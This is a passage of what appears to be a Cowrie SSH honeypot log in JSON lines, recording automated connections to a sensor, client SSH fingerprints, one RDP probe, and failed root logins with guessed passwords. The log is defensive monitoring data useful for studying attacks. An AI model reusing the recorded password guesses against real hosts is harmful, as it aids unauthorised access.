,"rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:52:24.496066Z","src_ip":"202.79.29.108","session":"282168427fc2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwe123,./","message":"login attempt [root/qwe123,./] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:52:25.574718Z","src_ip":"202.79.29.108","session":"282168427fc2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:52:26.840662Z","src_ip":"202.79.29.108","session":"282168427fc2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.135.182.46","src_port":53012,"dst_ip":"159.203.135.109","dst_port":22,"session":"0c04a90cb71d","protocol":"ssh","message":"New connection: 43.135.182.46:53012 (159.203.135.109:22) [session: 0c04a90cb71d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:52:42.413146Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:52:42.417901Z","src_ip":"43.135.182.46","session":"0c04a90cb71d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:52:42.487892Z","src_ip":"43.135.182.46","session":"0c04a90cb71d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"choudhury","message":"login attempt [root/choudhury] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:52:42.797006Z","src_ip":"43.135.182.46","session":"0c04a90cb71d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:52:43.870957Z","src_ip":"43.135.182.46","session":"0c04a90cb71d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"167.172.81.52","src_port":64167,"dst_ip":"159.203.135.109","dst_port":22,"session":"6ff93e208001","protocol":"ssh","message":"New connection: 167.172.81.52:64167 (159.203.135.109:22) [session: 6ff93e208001]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:52:47.717798Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:52:47.722897Z","src_ip":"167.172.81.52","session":"6ff93e208001","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:52:47.727192Z","src_ip":"167.172.81.52","session":"6ff93e208001","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"125.212.226.17","src_port":53107,"dst_ip":"10.17.0.5","dst_port":22,"session":"b397a08c1b60","protocol":"ssh","message":"New connection: 125.212.226.17:53107 (10.17.0.5:22) [session: b397a08c1b60]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:52:47.802084Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:52:47.807072Z","src_ip":"125.212.226.17","session":"b397a08c1b60","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:52:48.052701Z","src_ip":"125.212.226.17","session":"b397a08c1b60","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Pa$$w0rd123","message":"login attempt [root/Pa$$w0rd123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:52:48.788464Z","src_ip":"125.212.226.17","session":"b397a08c1b60","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:52:50.036257Z","src_ip":"125.212.226.17","session":"b397a08c1b60","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.130.31.151","src_port":56516,"dst_ip":"159.203.135.109","dst_port":22,"session":"1b434045c760","protocol":"ssh","message":"New connection: 43.130.31.151:56516 (159.203.135.109:22) [session: 1b434045c760]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:52:53.239130Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:52:53.243771Z","src_ip":"43.130.31.151","session":"1b434045c760","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:52:53.312875Z","src_ip":"43.130.31.151","session":"1b434045c760","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"carlos1","message":"login attempt [root/carlos1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:52:53.623630Z","src_ip":"43.130.31.151","session":"1b434045c760","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:52:54.695833Z","src_ip":"43.130.31.151","session":"1b434045c760","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"72.17.34.38","src_port":46584,"dst_ip":"159.203.135.109","dst_port":22,"session":"728dc3c0c2b0","protocol":"ssh","message":"New connection: 72.17.34.38:46584 (159.203.135.109:22) [session: 728dc3c0c2b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:52:56.232749Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:52:56.237525Z","src_ip":"72.17.34.38","session":"728dc3c0c2b0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:52:56.273162Z","src_ip":"72.17.34.38","session":"728dc3c0c2b0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"venkatesh","message":"login attempt [root/venkatesh] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:52:56.446283Z","src_ip":"72.17.34.38","session":"728dc3c0c2b0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:52:57.484236Z","src_ip":"72.17.34.38","session":"728dc3c0c2b0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.133.63.206","src_port":38748,"dst_ip":"10.17.0.5","dst_port":22,"session":"6963591fc66c","protocol":"ssh","message":"New connection: 62.133.63.206:38748 (10.17.0.5:22) [session: 6963591fc66c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:53:05.324183Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:53:05.329075Z","src_ip":"62.133.63.206","session":"6963591fc66c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:53:05.449795Z","src_ip":"62.133.63.206","session":"6963591fc66c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"12345t","message":"login attempt [root/12345t] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:53:05.812433Z","src_ip":"62.133.63.206","session":"6963591fc66c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:53:06.937912Z","src_ip":"62.133.63.206","session":"6963591fc66c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"209.99.184.143","src_port":39410,"dst_ip":"159.203.135.109","dst_port":22,"session":"67947af1b583","protocol":"ssh","message":"New connection: 209.99.184.143:39410 (159.203.135.109:22) [session: 67947af1b583]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:53:15.617597Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:53:15.622643Z","src_ip":"209.99.184.143","session":"67947af1b583","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:53:15.714358Z","src_ip":"209.99.184.143","session":"67947af1b583","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"deng1988","message":"login attempt [root/deng1988] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:53:16.113666Z","src_ip":"209.99.184.143","session":"67947af1b583","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:53:17.209549Z","src_ip":"209.99.184.143","session":"67947af1b583","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"202.79.29.108","src_port":43636,"dst_ip":"159.203.135.109","dst_port":22,"session":"57cc97acc992","protocol":"ssh","message":"New connection: 202.79.29.108:43636 (159.203.135.109:22) [session: 57cc97acc992]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:53:47.700765Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:53:47.705691Z","src_ip":"202.79.29.108","session":"57cc97acc992","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:53:47.970923Z","src_ip":"202.79.29.108","session":"57cc97acc992","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ChangeMe","message":"login attempt [root/ChangeMe] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:53:49.060049Z","src_ip":"202.79.29.108","session":"57cc97acc992","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:53:50.328022Z","src_ip":"202.79.29.108","session":"57cc97acc992","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.93.206.2","src_port":22736,"dst_ip":"159.203.135.109","dst_port":22,"session":"f63486f0db41","protocol":"ssh","message":"New connection: 38.93.206.2:22736 (159.203.135.109:22) [session: f63486f0db41]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:54:05.246140Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:54:05.252280Z","src_ip":"38.93.206.2","session":"f63486f0db41","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:54:05.304933Z","src_ip":"38.93.206.2","session":"f63486f0db41","protocol":"ssh"}
